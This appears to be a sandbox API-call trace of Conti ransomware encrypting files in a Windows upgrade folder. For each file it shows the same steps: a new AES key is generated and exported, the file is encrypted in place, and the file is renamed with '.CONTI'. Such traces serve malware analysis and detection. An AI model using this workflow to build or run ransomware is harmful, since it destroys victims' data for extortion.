	[0147.942] WriteFile (in: hFile=0x494, lpBuffer=0x65d0534*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d0534*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0147.944] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.944] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x241, lpOverlapped=0x0) returned 1
	[0147.944] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x241, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x250) returned 1
	[0147.944] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.944] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x250, lpOverlapped=0x0) returned 1
	[0147.944] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.944] WriteFile (in: hFile=0x494, lpBuffer=0x65d0528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d0528*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0147.944] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.944] CloseHandle (hObject=0x494) returned 1
	[0147.944] GetProcessHeap () returned 0x1720000
	[0147.944] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.944] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\PostOOBEScript.cmd" | out: lpString1="C:\\Windows10Upgrade\\PostOOBEScript.cmd") returned="C:\\Windows10Upgrade\\PostOOBEScript.cmd"
	[0147.944] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\PostOOBEScript.cmd", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\PostOOBEScript.cmd.CONTI") returned="C:\\Windows10Upgrade\\PostOOBEScript.cmd.CONTI"
	[0147.944] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), lpNewFileName="C:\\Windows10Upgrade\\PostOOBEScript.cmd.CONTI" (normalized: "c:\\windows10upgrade\\postoobescript.cmd.conti")) returned 1
	[0147.945] GetProcessHeap () returned 0x1720000
	[0147.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.945] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0147.945] GetProcessHeap () returned 0x1720000
	[0147.945] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181da20 | out: hHeap=0x1720000) returned 1
	[0147.945] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0147.945] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d0778 | out: phKey=0x65d0778*=0x17deed0) returned 1
	[0147.945] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d077c, pdwDataLen=0x3bbfde4 | out: pbData=0x65d077c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0147.946] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml")) returned 0x20
	[0147.946] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0147.947] GetLastError () returned 0x0
	[0147.947] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=93884) returned 1
	[0147.947] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16ebc
	[0147.947] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.947] SetEndOfFile (hFile=0x494) returned 1
	[0147.947] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.947] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.947] WriteFile (in: hFile=0x494, lpBuffer=0x65d077c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d077c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0147.949] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.949] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x16ebc, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x16ebc, lpOverlapped=0x0) returned 1
	[0147.950] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x16ebc, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x16ec0) returned 1
	[0147.950] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.950] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x16ec0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x16ec0, lpOverlapped=0x0) returned 1
	[0147.950] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.950] WriteFile (in: hFile=0x494, lpBuffer=0x65d0770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d0770*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0147.950] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.950] CloseHandle (hObject=0x494) returned 1
	[0147.951] GetProcessHeap () returned 0x1720000
	[0147.951] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.951] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml"
	[0147.951] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.CONTI") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.CONTI"
	[0147.951] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.CONTI" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.conti")) returned 1
	[0148.033] GetProcessHeap () returned 0x1720000
	[0148.033] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.033] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0148.033] GetProcessHeap () returned 0x1720000
	[0148.033] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de760 | out: hHeap=0x1720000) returned 1
	[0148.034] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0148.034] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65cee60 | out: phKey=0x65cee60*=0x17deed0) returned 1
	[0148.034] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cee64, pdwDataLen=0x3bbfde4 | out: pbData=0x65cee64*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0148.034] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt")) returned 0x20
	[0148.034] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0148.035] GetLastError () returned 0x0
	[0148.035] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=73135) returned 1
	[0148.035] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11daf
	[0148.035] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.035] SetEndOfFile (hFile=0x494) returned 1
	[0148.035] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.035] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.035] WriteFile (in: hFile=0x494, lpBuffer=0x65cee64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65cee64*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0148.140] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.140] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x11daf, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x11daf, lpOverlapped=0x0) returned 1
	[0148.516] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11daf, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11db0) returned 1
	[0148.520] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.520] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11db0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11db0, lpOverlapped=0x0) returned 1
	[0148.520] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.520] WriteFile (in: hFile=0x494, lpBuffer=0x65cee58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65cee58*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0148.520] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.520] CloseHandle (hObject=0x494) returned 1
	[0148.520] GetProcessHeap () returned 0x1720000
	[0148.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.520] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt"
	[0148.520] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.CONTI") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.CONTI"
	[0148.520] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.CONTI" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.conti")) returned 1
	[0148.521] GetProcessHeap () returned 0x1720000
	[0148.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.521] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0148.521] GetProcessHeap () returned 0x1720000
	[0148.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de990 | out: hHeap=0x1720000) returned 1
	[0148.522] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0148.522] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65cf2f0 | out: phKey=0x65cf2f0*=0x17deed0) returned 1
	[0148.522] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf2f4, pdwDataLen=0x3bbfde4 | out: pbData=0x65cf2f4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0148.522] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt")) returned 0x20
	[0148.522] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0148.523] GetLastError () returned 0x0
	[0148.523] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=2263) returned 1
	[0148.523] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8d7
	[0148.523] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.523] SetEndOfFile (hFile=0x494) returned 1
	[0148.523] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.523] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.523] WriteFile (in: hFile=0x494, lpBuffer=0x65cf2f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65cf2f4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.286] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.373] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x8d7, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x8d7, lpOverlapped=0x0) returned 1
	[0149.373] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x8d7, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x8e0) returned 1
	[0149.374] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.374] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x8e0, lpOverlapped=0x0) returned 1
	[0149.374] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.374] WriteFile (in: hFile=0x494, lpBuffer=0x65cf2e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65cf2e8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.374] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.374] CloseHandle (hObject=0x494) returned 1
	[0149.374] GetProcessHeap () returned 0x1720000
	[0149.374] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.604] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt"
	[0149.604] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.CONTI") returned="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.CONTI"
	[0149.604] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.CONTI" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.conti")) returned 1
	[0149.605] GetProcessHeap () returned 0x1720000
	[0149.605] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.605] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.605] GetProcessHeap () returned 0x1720000
	[0149.605] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dea00 | out: hHeap=0x1720000) returned 1
	[0149.605] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.605] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d8e10 | out: phKey=0x65d8e10*=0x17deed0) returned 1
	[0149.605] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8e14, pdwDataLen=0x3bbfde4 | out: pbData=0x65d8e14*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0149.606] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm")) returned 0x20
	[0149.610] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.611] GetLastError () returned 0x0
	[0149.611] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=58549) returned 1
	[0149.611] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe4b5
	[0149.611] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.611] SetEndOfFile (hFile=0x49c) returned 1
	[0149.611] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.611] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.611] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8e14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d8e14*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.615] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.615] ReadFile (in: hFile=0x49c, lpBuffer=0x9880000, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xe4b5, lpOverlapped=0x0) returned 1
	[0149.617] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe4b5, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe4c0) returned 1
	[0149.617] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.617] WriteFile (in: hFile=0x49c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xe4c0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xe4c0, lpOverlapped=0x0) returned 1
	[0149.617] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.617] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8e08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d8e08*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.617] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.617] CloseHandle (hObject=0x49c) returned 1
	[0149.618] GetProcessHeap () returned 0x1720000
	[0149.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.618] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm"
	[0149.618] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.CONTI"
	[0149.618] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-us.htm.conti")) returned 1
	[0149.618] GetProcessHeap () returned 0x1720000
	[0149.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.618] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.618] GetProcessHeap () returned 0x1720000
	[0149.618] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5098 | out: hHeap=0x1720000) returned 1
	[0149.618] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.618] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65db720 | out: phKey=0x65db720*=0x17deed0) returned 1
	[0149.618] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db724, pdwDataLen=0x3bbfde4 | out: pbData=0x65db724*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
